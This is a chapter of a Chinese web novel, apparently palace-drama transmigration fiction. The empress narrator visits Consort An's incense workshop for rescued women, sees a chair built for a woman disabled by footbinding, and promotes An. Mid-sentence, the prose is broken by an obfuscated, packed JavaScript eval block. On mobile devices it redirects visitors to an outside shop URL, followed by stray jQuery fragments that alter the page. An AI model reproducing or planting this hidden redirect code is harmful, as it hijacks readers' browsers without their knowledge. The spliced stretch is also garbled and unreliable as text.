67.安置

作品:《穿越之宜修

    从景仁宫那番与华妃近乎“鸡同鸭讲”的对话中抽身出来,胸中那股混杂着倦怠、荒谬与一丝悲悯的情绪尚未完全平复,我便转而去了安陵容设在圆明园附近的制香作坊兼安置点。那里至少有些实实在在的、正在努力向着光明挣扎的生命,能让人稍感慰藉。


    作坊所在的院落是原先一处堆放杂物的库房改建的,如今收拾得干净整齐。尚未走近,便隐约听到里面传来的、并不嘈杂却充满生机的声响——有低低的女子交谈声,有石磨碾过香料的均匀沙沙声,还有……叮叮当当的、似乎是木工活计的敲打声?


    我示意剪秋等人留在院门外,自己缓步走了进去。午后的阳光透过新糊的高丽纸窗,在打磨光滑的青砖地上投下明亮的光斑。空气里弥漫着各种香料混合的、馥郁而宁神的气息。不少女子坐在靠窗的长条桌案后,低头专注地做着手中的活计,或研磨,或分拣,或用小模具给香丸压上花纹。她们大多穿着统一发放的、素净的蓝布衣裙,头发也梳得整齐,虽然面容仍带着历经风霜的憔悴,但眼神是平和的,甚至有些人的嘴角,还带着一丝小心翼翼的、属于“劳作所得”的踏实笑意。


    我的目光很快被角落里的动静吸引。安陵容正站在那里,身边围着两个穿着内务府工匠服饰的木匠,他们正弯腰调试着一把看起来有些特别的椅子和一张与之配套的桌子。椅子比寻常的似乎略高,椅面也宽些,带着柔软的棉垫;桌子则相应矮了一截,边缘打磨得极其圆润。一名看起来年纪稍长、身形瘦小的女子,正被安陵容轻声鼓励着,小心翼翼地在木匠的搀扶下,试着坐上去,调整姿势。


    安陵容先看到了我,连忙对木匠和那女子嘱咐了几句,便快步迎了上来,脸上带着惯有的恭谨,却又比在宫里时多了些舒展的气度:“臣妾给皇后娘娘请安。娘娘怎么亲自过来了?这儿乱糟糟的……”


    “无妨,本宫随便看看。” 我摆了摆手,目光仍落在那调试桌椅的角落,“方才那是?可是哪位姑娘身子不适,特意打造的?”


    安陵容引着我往旁边僻静些的廊下走了几步,才低声回道:“回娘娘,正是。那姑娘姓吴,是前几日刚从南城一处暗门子里救出来的。人很勤快,来了作坊,抢着干活。可臣妾瞧着,她干活时那动作……别扭得很,像是浑身不得劲,没做多久就额头见汗,扶着腰喘气。臣妾怕她是身上有暗伤或是病了,就请了温太医和卫太医过来,一并给作坊里的姐妹们都看了看。”


    她顿了顿,脸上浮现出不忍与凝重:“温太医他们仔细检查后说,吴姑娘这是……缠足的年头太久,又受过些磋磨,腿骨和腰脊都有些变形了,久坐或久站都极易酸痛乏力,寻常的桌椅对她来说,反而是一种折磨。所以臣妾才禀明了内务府,请工匠来,比着她的身形和情况,特意打造了这么一副高椅矮桌,好让她坐着能舒服些,腰背有支撑,腿脚也能自然垂放,不至于太过吃力。”


    原来如此。缠足之害,不仅仅是行走不便,更是对全身骨骼长年的扭曲与压迫,其遗毒甚至会伴随一生。安陵容能观察到女工动作“别扭”,并想到请太医、定制特殊桌椅,这份细心与体恤,实属难得。


    “这般情况,多吗?严重到什么程度?” 我问道,心中已有所预料。


    “或多或少,都有些。” 安陵容叹了口气,“坐久了腰酸,站久了腿胀,是常事。像吴姑娘这般需要特别定制家具的,目前就她一个,算是情况比较重的。还有些姐妹脚趾变形严重,穿不得寻常的鞋子,内务府也在赶制一些特制的软底鞋。温太医说,只能慢慢用药膳、针灸调理,缓解痛苦,要想完全恢复如常……怕是难了。”


    那些被解救的女子,身体上的创伤,或许将伴随她们一生。这认知让我的心又沉了沉。


    “那……她们如今,是什么心气儿?可还过得去?” 我问出更关心的问题。身体的伤或许难愈,但心气若没了,就更难了。


    安陵容闻言,脸色稍霁,甚至露出一丝浅浅的、带着成就感的笑意:“回娘娘,心态还算能转得过来。刚来那会儿,一个个都跟惊弓之鸟似的,尤其是像吴姑娘这样身上有残疾的,更是自暴自弃,觉得自己是废人,活着也是拖累。多亏了内务府派来的几位老成稳重的嬷嬷,还有臣妾从家里带来的、信得过的几个丫头,日夜陪着,劝着,给她们讲道理,说活计,慢慢开导。如今,大家看自己能靠双手磨出香料、做出香丸,月底真能领到工钱,眼里慢慢就有了光。吴姑娘也是,被劝了几回,自己也咬牙试了试,发现这特制的桌椅真能让她省力不少,干活也顺畅了,这两日脸上也见了笑模样。虽还是沉默寡言,但那股死气,是散了。”


    听着安陵容的叙述,看着远处那些低头劳作的女子,我心中那因华妃而起的郁结,似乎被这朴实坚韧的生命力冲刷淡了些许。这里没有“赢”或“输”,只有“活下去”和“好好活”。


    “你做得很好,安常在。” 我看着安陵容,由衷赞道,“观察入微,体贴周全,更能抚慰人心。这作坊初具规模,日后人手想必还会增加,你如今是常在,管理起来,名分上或许有些不便。本宫想着,你的位份,也该动一动了。”


    安陵容猛地抬头,眼中闪过一丝讶异,随即是了然,连忙道:“臣妾惶恐,打理此间事务乃是臣妾本分,岂敢因……”


    “不必推辞。” 我打断她,“有功当赏。升你为贵人,便于你日后行事,也显得朝廷重视此事。具体的旨意,本宫会禀明皇上。你安心便是。”


    “臣妾……谢娘娘隆恩!” 安陵容跪下谢恩,声音有些哽咽。这晋封,不仅仅是对她能力的认可,更是对她所从事的、


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981681|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这项“不寻常”事务的背书。


    让她起身后,我忽然想起方才景仁宫的事,或许是因为此间氛围截然不同,让我有了倾诉的欲望,便随口道:“对了,方才华妃来景仁宫了。”


    安陵容微微一怔,随即垂下眼帘,静听下文。


    “她来,是跟本宫说,本宫赢了。” 我语气平淡,带着一丝倦怠的嘲弄,“说坤宁宫的会,八大胡同的清理,还有阿其那、塞思黑……都是本宫赢了。她还以为,本宫一直在跟她宫斗。”


    我看向安陵容,问道:“你说,可笑不可笑?”


    安陵容沉默了片刻,抬起眼,目光清亮,声音不高,却带着一种历经世事后的通透:


    “娘娘,说起这个……臣妾刚入宫选秀那日,在体元殿外候着,心里怕得不行,手脚都是冰的。那会儿,臣妾偷偷看了不少市井流传的话本子,里头写的,尽是后宫如何阴损诡诈,如何步步杀机,如何让人防不胜防……臣妾是真的怕,怕一进去,就被啃得骨头都不剩。”


    她顿了顿,嘴角浮起一丝极淡的、近乎自嘲的笑意:“可如今,臣妾在这儿经营这作坊,照看这些姐妹,每天忙忙碌碌,却觉得心里踏实。再回头去想选秀那日的恐惧,去想话本子里那些你死我活的争斗……忽然觉得,那就像是一口深井。井里的青蛙,整日抬头,只能看见井口那么大一片天,便以为争斗那片天下的飞虫,就是全部的世界了。它们看不到井外有山川河流,有田野村落,有无数种活法。”


    她的目光投向作坊内那些安静劳作的女子,声音愈发轻柔却坚定:“娘娘您看到的,是井外的世界。华妃娘娘她……或许还在井里,看着头顶那一方被宫墙围出来的天,计较着哪片云彩归她,哪滴雨露该她得。她自然以为,您也在与她争那片天。却不知,您早已跃出了井口,看到的,是更广阔的天地,想着的,是如何让这井里井外的人,都能活得更好些。”


    我静静地听着,心中那最后一丝因华妃而起的波澜,也彻底平息了。安陵容这个比喻,贴切得令人心惊,也清醒得令人欣慰。


    “井底之蛙……” 我轻轻重复,点了点头,“你看得明白。这便好。安心做你的事吧,缺什么,短什么,或是有什么难处,尽管来找本宫,或是让周宁海递话。”


    “是,臣妾谨记。” 安陵容恭顺应下。


    离开作坊时,夕阳的余晖将院墙染成温暖的橘色。身后的院落里,木匠调试工具的叮当声,女子们低低的交谈声,石磨规律的沙沙声,交织成一曲平淡却充满希望的乐章。


    华妃还在她的“井”里,计算着输赢。而我,以及像安陵容这样渐渐睁开眼睛的人,要走的,是另一条路。一条或许更艰难,却更接近真实大地,也更值得为之努力的路。


    前路漫漫,但至少,吾道不孤。